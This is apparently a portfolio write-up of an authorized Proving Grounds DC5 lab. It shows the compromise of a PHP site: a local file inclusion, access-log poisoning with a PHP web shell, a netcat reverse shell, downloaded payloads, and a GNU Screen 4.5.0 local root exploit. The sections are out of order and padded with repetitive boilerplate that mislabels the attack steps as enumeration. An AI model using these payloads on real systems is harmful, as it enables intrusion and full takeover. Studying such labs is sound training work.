Target: Linux

Proving Grounds: DC5

In this lab, you will exploit a vulnerable web application by leveraging Local File Inclusion (LFI) and server access log poisoning to achieve remote code execution (RCE). Following the initial compromise, you will escalate privileges to root using a known vulnerability in GNU Screen 4.5.0. This lab highlights skills in enumeration, web application exploitation, RCE, and privilege escalation via local exploits.

Proving GroundsAuthorized lab writeupCybersecurity portfolio

Authorized-lab note: This writeup documents activity performed exclusively in an authorized Offensive Security Proving Grounds lab. It is shared for educational and portfolio purposes.

Utilize enumeration and web enumeration techniques to identify vulnerabilities. Leverage exploitation of the LFI vulnerability and engage in log poisoning. Implement privilege escalation strategies and harness the exploitation of GNU Screen. Additionally, abuse sudo permissions to enhance your access. This lab is designed to capitalize on your skills in vulnerability exploitation.

Scenario

In this lab, you will exploit a vulnerable web application by leveraging Local File Inclusion (LFI) and server access log poisoning to achieve remote code execution (RCE). Following the initial compromise, you will escalate privileges to root using a known vulnerability in GNU Screen 4.5.0. This lab highlights skills in enumeration, web application exploitation, RCE, and privilege escalation via local exploits.

Learning objectives

After completion of this lab, learners will be able to:

Perform enumeration to identify open ports and services on the lab.
Exploit the LFI vulnerability to read sensitive files from the server.
Poison the server's access logs and execute malicious code via LFI.
Establish a reverse shell and gain stable remote access to the target system.
Escalate privileges to root by exploiting the GNU Screen 4.5.0 local vulnerability."

Enumeration

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# The output records the result observed during this authorized lab step.

80/tcp    open  http    nginx 1.6.2
|_http-title: Welcome
|_http-server-header: nginx/1.6.2
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          33372/tcp6  status
|   100024  1          47306/udp   status
|   100024  1          54823/tcp   status
|_  100024  1          55061/udp6  status

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# The output records the result observed during this authorized lab step.

---------------------------
User-Agent: <?php system($_GET['c']); ?>

#Second reach the `access.log` and get RCE
-----------------------------------------
?file=/var/log/nginx/access.log&c=ls

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# The output records the result observed during this authorized lab step.

?file=/var/log/nginx/access.log&c=nc+192.168.45.205+4444+-e+/bin/sh

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

## followed this process for priv esc
# Search the filesystem for files relevant to escalation or access.

www-data@dc-5:/tmp$ find / -type f -perm -u+s 2>/dev/null
# Search the filesystem for files relevant to escalation or access.

find / -type f -perm -u+s 2>/dev/null
/bin/su
/bin/mount
/bin/umount
/bin/screen-4.5.0
/tmp/rootshell
/usr/bin/gpasswd
/usr/bin/procmail
/usr/bin/at
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chsh
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/sbin/exim4
/sbin/mount.nfs

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

(kali㉿kali)-[~/offsec/dc5]
# Execute the next evidence-gathering step in the authorized lab.

└─$ git clone https://github.com/YasserREED/screen-v4.5.0-priv-escalate            
Cloning into 'screen-v4.5.0-priv-escalate'...
remote: Enumerating objects: 73, done.
remote: Counting objects: 100% (73/73), done.
remote: Compressing objects: 100% (70/70), done.
remote: Total 73 (delta 27), reused 0 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (73/73), 242.73 KiB | 831.00 KiB/s, done.
Resolving deltas: 100% (27/27), done.

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

┌──(kali㉿kali)-[~/offsec/dc5]
# Inspect the directory for files relevant to the next step.

└─$ ls
41154.sh  41974.rb  screen-v4.5.0-priv-escalate

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

┌──(kali㉿kali)-[~/offsec/dc5]
# Move into the directory needed for the next action.

└─$ cd screen-v4.5.0-priv-escalate

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

(kali㉿kali)-[/tmp]
# Run the helper or analysis script used in this lab step.

└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.160.26 - - [13/Jun/2026 15:31:18] "GET /libhax.so HTTP/1.1" 200 -
192.168.160.26 - - [13/Jun/2026 15:31:29] "GET /rootshell HTTP/1.1" 200 -

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# Retrieve and inspect the web response from the target.

www-data@dc-5:/tmp$ wget http://192.168.45.205/libhax.so -O libhax.so
# Retrieve and inspect the web response from the target.

wget http://192.168.45.205/libhax.so -O libhax.so
\' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
ERROR: ld.so: object '/tmp/libhax.so' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
converted 'http://192.168.45.205/libhax.so' (ANSI_X3.4-1968) -> 'http://192.168.45.205/libhax.so' (UTF-8)
--2026-06-14 05:31:18--  http://192.168.45.205/libhax.so
Connecting to 192.168.45.205:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 15528 (15K) [application/octet-stream]
Saving to: 'libhax.so'

libhax.so           100%[=====================>]  15.16K  --.-KB/s   in 0.02s  

2026-06-14 05:31:18 (677 KB/s) - 'libhax.so' saved [15528/15528]

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# Retrieve and inspect the web response from the target.

www-data@dc-5:/tmp$ wget http://192.168.45.205/rootshell -O rootshell
# Retrieve and inspect the web response from the target.

wget http://192.168.45.205/rootshell -O rootshell
\' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
converted 'http://192.168.45.205/rootshell' (ANSI_X3.4-1968) -> 'http://192.168.45.205/rootshell' (UTF-8)
--2026-06-14 05:31:29--  http://192.168.45.205/rootshell
Connecting to 192.168.45.205:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 773824 (756K) [application/octet-stream]
Saving to: 'rootshell'

rootshell           100%[=====================>] 755.69K   837KB/s   in 0.9s   

2026-06-14 05:31:30 (837 KB/s) - 'rootshell' saved [773824/773824]

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# Execute the next evidence-gathering step in the authorized lab.

www-data@dc-5:/tmp$ screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
<-D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"                        
\' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# Execute the next evidence-gathering step in the authorized lab.

www-data@dc-5:/tmp$ screen -ls
screen -ls
No Sockets found in /tmp/screens/S-www-data.

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# Execute the next evidence-gathering step in the authorized lab.

www-data@dc-5:/tmp$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# Execute the next evidence-gathering step in the authorized lab.

www-data@dc-5:/tmp$ /tmp/rootshell
/tmp/rootshell
## id
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
## cat /root/proof.txt
# Read the file contents for useful configuration or credential data.

cat /root/proof.txt
16517fe2df8d65078a0dcdac45b01cbb

Initial Access

On port 80, there is nginx server
When we fill the form, it sends informaiton to http://192.168.140.26/thankyou.php?firstname=tsdrfg&lastname=sbgsf&country=australia&subject=sfdbsfdvb
We tried LFI and it worked
http://192.168.140.26/thankyou.php?file=../../../../../../../../../../../../../etc/passwd
Not able to locate any such useful information
Trying LFI to RCE exploit

This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.

(kali㉿kali)-[~/offsec/dc5]
# Execute the next evidence-gathering step in the authorized lab.

└─$ rlwrap nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.45.205] from (UNKNOWN) [192.168.160.26] 47145
# Inspect the directory for files relevant to the next step.

ls
about-us.php
contact.php
css
faq.php
footer.php
images
index.php
solutions.php
thankyou.php
# Confirm the identity of the current session.

whoami
www-data

This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.

(kali㉿kali)-[~/offsec/dc5/screen-v4.5.0-priv-escalate]
# Inspect the directory for files relevant to the next step.

└─$ ls
exploit.sh  full-exploit.sh  img  README.md

This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.

┌──(kali㉿kali)-[~/offsec/dc5/screen-v4.5.0-priv-escalate]
# Execute the next evidence-gathering step in the authorized lab.

└─$ ./exploit.sh                           
···············································································································
:                                                    _  _      ____     ___                       _           :
:    ___   ___  _ __  ___   ___  _ __        __   __| || |    | ___|   / _ \         _ __   _ __ (_)__   __   :
:   / __| / __|| '__|/ _ \ / _ \| '_ \  _____\ \ / /| || |_   |___ \  | | | | _____ | '_ \ | '__|| |\ \ / /   :
:   \__ \| (__ | |  |  __/|  __/| | | ||_____|\ V / |__   _|_  ___) |_| |_| ||_____|| |_) || |   | | \ V /    :
:   |___/ \___||_|   \___| \___||_| |_|        \_/     |_| (_)|____/(_)\___/        | .__/ |_|   |_|  \_/     :
:                                                                                   |_|                       :
:                                                                                                             :
:                                                                               X : @YasserREED               :
:··············································································································
~ gnu/screenroot ~
[+] First, we create our shell and library...
[+] libhax.c Created ..
[+] Create /tmp/libhax.so ..
[+] Create /tmp/rootshell ..
[+] Setup Finished!
[+] Entering /tmp Folder

[+] Move libhax.so and rootshell to the Target Machine


[Hint] You can use the below command to transfer the files
[Command] python3 -m http.server 80

Privilege Escalation

This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.

# The output records the result observed during this authorized lab step.

## We see screen-4.5.0 with SUID permissions and found a exploit for local privilege escvalation
## https://github.com/YasserREED/screen-v4.5.0-priv-escalate

This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.

┌──(kali㉿kali)-[~/offsec/dc5/screen-v4.5.0-priv-escalate]
# Execute the next evidence-gathering step in the authorized lab.

└─$ chmod +x exploit.sh

Takeaways

This lab reinforced the value of methodical enumeration, evidence-driven hypothesis testing, and validating each access-control boundary in an authorized environment.